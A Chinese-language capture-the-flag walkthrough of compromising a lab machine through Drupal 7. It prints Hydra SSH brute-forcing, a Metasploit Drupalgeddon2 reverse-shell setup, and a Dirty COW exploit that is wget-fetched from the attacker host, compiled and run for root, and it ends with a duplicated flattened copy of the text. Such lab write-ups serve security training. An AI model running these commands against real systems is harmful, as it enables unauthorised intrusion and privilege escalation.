从WEB到内网&&SSH爆破&&信息收集&&脏牛提权 ---- 打靶经验分享
字数 1276 2025-08-10 16:34:39

从WEB到内网渗透实战:SSH爆破、信息收集与脏牛提权

1. 环境准备

1.1 攻击环境配置

  • 攻击机IP: 192.168.45.243
  • 使用OpenVPN连接靶场网络: openvpn universal.ovpn
  • 目标靶机IP: 192.168.230.48

1.2 目标系统概况

  • 操作系统: Ubuntu 14.04.5
  • 内核版本: 4.4.0
  • 开放端口: 22(SSH), 80(HTTP), 1898(Apache/Drupal 7)

2. 信息收集阶段

2.1 端口扫描

使用Nmap进行快速扫描:

nmap --min-rate 10000 -p- 192.168.230.48

详细服务版本探测:

nmap -p22,80,1898 -sV 192.168.230.48

扫描结果:

  • 22端口: OpenSSH 6.6.1p1 Ubuntu
  • 80端口: HTTP服务(使用HTTP/0.9协议)
  • 1898端口: Apache服务(Drupal 7 CMS)

2.2 各端口详细测试

2.2.1 SSH端口(22)测试

  1. 尝试直接连接:
ssh root@192.168.230.48 -v
  1. 使用Hydra进行爆破:
hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.230.48 ssh -s 22

2.2.2 HTTP端口(80)测试

  1. 直接访问无有效信息
  2. 尝试curl获取隐藏信息:
curl http://192.168.230.48:80
  1. 目录扫描(因HTTP/0.9协议限制失败):
dirsearch -u http://192.168.230.48:80

2.2.3 1898端口(Drupal 7)测试

  1. 识别CMS版本:
whatweb http://192.168.230.48:1898
  1. 尝试弱口令和SQL注入均失败

3. 攻击阶段

3.1 利用Drupal 7漏洞

使用Metasploit框架:

msfconsole
search Drupal 7
use exploit/unix/webapp/drupal_drupalgeddon2
set payload cmd/unix/reverse
set lhost 192.168.45.243
set rhosts 192.168.230.48
set rport 1898
run

3.2 获取初始shell后操作

  1. 升级为交互式shell:
python -c "import pty;pty.spawn('/bin/bash')"
  1. 寻找并获取第一个flag:
find / -name local.txt 2>/dev/null
cat /home/tiago/local.txt

4. 内网信息收集

4.1 系统信息收集

  1. 查看发行版本:
lsb_release -a
  1. 查看内核版本:
uname -a

4.2 提权路径分析

  • Ubuntu 14.04.5系统
  • 内核版本4.4.0
  • 可能的提权方法:
    • overlayfs提权(适用于Ubuntu 14)
    • 脏牛(Dirty COW)提权(适用于内核4.4.0)

5. 提权阶段

5.1 脏牛提权实施

  1. 查找脏牛漏洞利用代码:
searchsploit dirty
  1. 选择稳定版本(40847.cpp)并复制:
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp exp
  1. 在攻击机启动HTTP服务:
sudo python3 -m http.server 90
  1. 在目标机下载并编译:
cd /tmp
wget http://192.168.45.243:90/40847.cpp
chmod +x 40847.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
chmod +x dcow
./dcow -s

5.2 获取root权限后操作

  1. 查看root目录下的flag:
cat /root/proof.txt
  1. 获取到的flag2: 27520bb337712f1d8e10be0b4f01cda9

6. 总结与关键点

6.1 渗透流程总结

  1. 全面端口扫描 → 2. 各端口详细测试 → 3. 发现Drupal 7漏洞 → 4. 获取初始shell → 5. 系统信息收集 → 6. 选择合适提权方法 → 7. 成功提权

6.2 关键技术与工具

  1. Nmap扫描: 快速识别开放端口和服务版本
  2. Hydra爆破: SSH弱口令尝试
  3. Metasploit框架: Drupal 7漏洞利用
  4. 交互式shell升级: Python pty技巧
  5. 脏牛提权: 针对Linux内核4.4.0的经典提权方法
  6. G++编译: 在目标系统上编译漏洞利用代码

6.3 学习要点

  1. 信息收集是渗透测试的基础
  2. 当主要路径受阻时要灵活转向其他攻击面
  3. 了解系统版本和内核版本对提权方法选择至关重要
  4. 在目标系统上编译代码是常见的提权技术
  5. 保持对已知漏洞和对应利用方法的熟悉度
从WEB到内网渗透实战:SSH爆破、信息收集与脏牛提权 1. 环境准备 1.1 攻击环境配置 攻击机IP: 192.168.45.243 使用OpenVPN连接靶场网络: openvpn universal.ovpn 目标靶机IP: 192.168.230.48 1.2 目标系统概况 操作系统: Ubuntu 14.04.5 内核版本: 4.4.0 开放端口: 22(SSH), 80(HTTP), 1898(Apache/Drupal 7) 2. 信息收集阶段 2.1 端口扫描 使用Nmap进行快速扫描: 详细服务版本探测: 扫描结果: 22端口: OpenSSH 6.6.1p1 Ubuntu 80端口: HTTP服务(使用HTTP/0.9协议) 1898端口: Apache服务(Drupal 7 CMS) 2.2 各端口详细测试 2.2.1 SSH端口(22)测试 尝试直接连接: 使用Hydra进行爆破: 2.2.2 HTTP端口(80)测试 直接访问无有效信息 尝试curl获取隐藏信息: 目录扫描(因HTTP/0.9协议限制失败): 2.2.3 1898端口(Drupal 7)测试 识别CMS版本: 尝试弱口令和SQL注入均失败 3. 攻击阶段 3.1 利用Drupal 7漏洞 使用Metasploit框架: 3.2 获取初始shell后操作 升级为交互式shell: 寻找并获取第一个flag: 4. 内网信息收集 4.1 系统信息收集 查看发行版本: 查看内核版本: 4.2 提权路径分析 Ubuntu 14.04.5系统 内核版本4.4.0 可能的提权方法: overlayfs提权(适用于Ubuntu 14) 脏牛(Dirty COW)提权(适用于内核4.4.0) 5. 提权阶段 5.1 脏牛提权实施 查找脏牛漏洞利用代码: 选择稳定版本(40847.cpp)并复制: 在攻击机启动HTTP服务: 在目标机下载并编译: 5.2 获取root权限后操作 查看root目录下的flag: 获取到的flag2: 27520bb337712f1d8e10be0b4f01cda9 6. 总结与关键点 6.1 渗透流程总结 全面端口扫描 → 2. 各端口详细测试 → 3. 发现Drupal 7漏洞 → 4. 获取初始shell → 5. 系统信息收集 → 6. 选择合适提权方法 → 7. 成功提权 6.2 关键技术与工具 Nmap扫描 : 快速识别开放端口和服务版本 Hydra爆破 : SSH弱口令尝试 Metasploit框架 : Drupal 7漏洞利用 交互式shell升级 : Python pty技巧 脏牛提权 : 针对Linux内核4.4.0的经典提权方法 G++编译 : 在目标系统上编译漏洞利用代码 6.3 学习要点 信息收集是渗透测试的基础 当主要路径受阻时要灵活转向其他攻击面 了解系统版本和内核版本对提权方法选择至关重要 在目标系统上编译代码是常见的提权技术 保持对已知漏洞和对应利用方法的熟悉度